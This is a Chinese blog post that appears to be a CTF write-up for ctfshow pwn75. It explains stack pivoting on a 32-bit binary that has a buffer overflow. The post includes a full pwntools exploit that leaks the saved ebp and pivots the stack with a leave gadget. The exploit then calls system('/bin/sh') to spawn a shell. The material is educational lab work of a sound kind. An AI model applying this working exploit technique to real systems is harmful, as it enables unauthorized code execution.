首页 > 其他分享 >pwn4(栈迁移的类型一)

pwn4(栈迁移的类型一)

时间:2025-01-18 10:58:19浏览次数:3  
标签:pwn4 addr pwn p32 ebp 类型 迁移 payload

可以先行了解栈迁移:栈迁移:CTFPwn中的技术揭秘与实战应用-CSDN博客

ctfshow  pwn入门75

栈迁移之泄露地址

题目

int ctfshow()
{
  char s[36]; // [esp+0h] [ebp-28h] BYREF

  memset(s, 0, 0x20u);
  read(0, s, 0x30u);
  printf("Welcome, %s\n", s);
  puts("What do you want to do?");
  read(0, s, 0x30u);
  return printf("Nothing here ,%s\n", s);
}

NX+填入的字节不够  = 考虑栈迁移

很明显有格式化字符串漏洞

就一个参数,我们也就不需要计算偏移

新ebp距离输入有0x38

对于这道简单的栈迁移exp:

from pwn import *
context(arch = 'i386', os = 'linux',log_level = 'debug')
p = process('./pwn')
elf = ELF('./pwn')
 
payload = b'a'*0x27 + b'b'
p.send(payload)            #千万别用sendline 细节容易出错
p.recvuntil(b'b')
 
ebp_addr = u32(p.recv(4))
print(hex(ebp_addr))
gdb.attach(p)
pause()
leave = 0x80484d5
system = elf.plt['system']
 
payload =b'aaaa' + p32(system) +  p32(0)
payload += p32(ebp_addr - 0x28)
payload += b'/bin/sh\x00'
payload = payload.ljust(0x28,b'a')+p32(ebp_addr - 0x38)+p32(leave)
 
p.sendline(payload)
p.interactive()

标签:pwn4,addr,pwn,p32,ebp,类型,迁移,payload
From: https://blog.csdn.net/2401_87427870/article/details/145223019

相关文章

  • 深度学习中的迁移学习:使用预训练模型进行图像分类
    深度学习中的迁移学习:使用预训练模型进行图像分类介绍迁移学习是一种机器学习方法,其中一个模型在某个任务上进行预训练,并将该知识转移到新的但相关的任务中。深度学习中的迁移学习常用于图像分类,通过利用预训练模型(例如VGG、ResNet、Inception等)显著减少新任务所需的训......
  • 深入理解 Linux systemd 单元类型及配置详解
    深入理解Linuxsystemd单元类型及配置详解在Linux系统中,systemd是一种强大的初始化系统和服务管理工具,它通过**单元(Unit)**来管理服务、文件系统、设备等。systemd支持多种单元类型,如服务单元(.service)、目标单元(.target)、挂载单元(.mount)、设备单元(.device)、计时单元(.t......
  • C语言的数据类型和变量
    在C语言中,数据类型主要分为两大类,一类是内置类型,另一类是自定义类型,今天主要来说一下内置类型一、数据类型1、字符型字符型:char(是character的缩写)signedchar表示有符号的字符型,unsigned插入表示无符号的字符型,2、整型3、浮点型浮点型主要有三种,分别是float(单精度浮点......
  • C语言数据类型和变量(中)
    变量1.变量的创建上一篇我们所讲的是数据类型,而类型用来干什么的-创建变量的,在C语⾔中,我们把经常变化的值称为变量,不变的值称为常量,如intage;便是整型变量。变量在创建的时候就给⼀个初始值,就叫初始化。如charc='w';2.变量的分类全局变量:在⼤括号外部定义的变量就是全......
  • 闲谈鸭子类型
    我最近看一本小说《道诡异仙》,主角在去正德寺找和尚的路上遇到了一个乞丐样的假和尚。主角说他是不个和尚,那假和尚说,和尚剃发念经他也剃发念经,和尚守戒吃斋他也守戒吃斋,怎么他就不是和尚了?是的,我在前段时间的工作中也遇到同事这样的发问:两个对象之间为什么不能互相赋值?我说是因为......
  • 保险丝有什么类型?
    被动元器件,保护器件,合金电阻,采样电阻,特殊电阻--顺海科技:廖先生保险丝的类型由于其用途广泛,市场提供的保险丝类型非常多样。很多工业生产设施都会采用高压应用型,汽车行业也是如此。它们的目的是使保险丝易于更换,使最终用户能够尽快使设备或汽车恢复工作。保险丝曾经是每个家庭......
  • 枚举类型(enum)的作用和用法
    简介枚举类型枚举类型(enum)是一种用户定义的数据类型,用于定义一组具有相关性的常量。枚举类型使代码更加可读和可维护,因为它为一组整型常量提供了有意义的名字。作用增强代码可读性:通过为一组相关的常量赋予有意义的名称,使代码更易于理解和维护。比如,定义一个表示颜色的枚举......
  • Reddit封号的类型盘点,如何防封?
      Reddit,常被称为“北美免费流量池”,他的流量与亚马逊旗鼓相当,且与B2C卷投资的模式不同,他的流量的免费的。它拥有数以千计的“subreddit”(子版块),这些子版块涵盖了新闻、电子游戏、电影、音乐、书籍、健身、食物和图片分享等各种主题,适合多品类的流量转化,尤其对于跨境电商......
  • JavaScript有几种类型值?能否画出它们的内存图?
    JavaScript中主要有八种类型的值,包括七种原始类型(PrimitiveTypes)和一种对象类型(ObjectTypes)。这八种类型分别是:Number:表示数字,包括整数和浮点数。如:42,3.14159。BigInt:表示任意大的整数。这是一种在ES2020中引入的新类型,用于表示比Number.MAX_SAFE_INTEGER更大的整数。如......
  • 嵌入式杂谈——(问题解决三:嵌入式中的数据类型)
    列举1. 标准固定宽度整数类型这些类型定义在 <stdint.h> 头文件中,用于明确指定数据的位数,适合嵌入式系统中需要精确控制数据大小的场景。类型位数范围(有符号)范围(无符号)说明int8_t8-128到127-8位有符号整数uint8_t8-0到2558位无符号整数int16_t16-32,768到32,767-......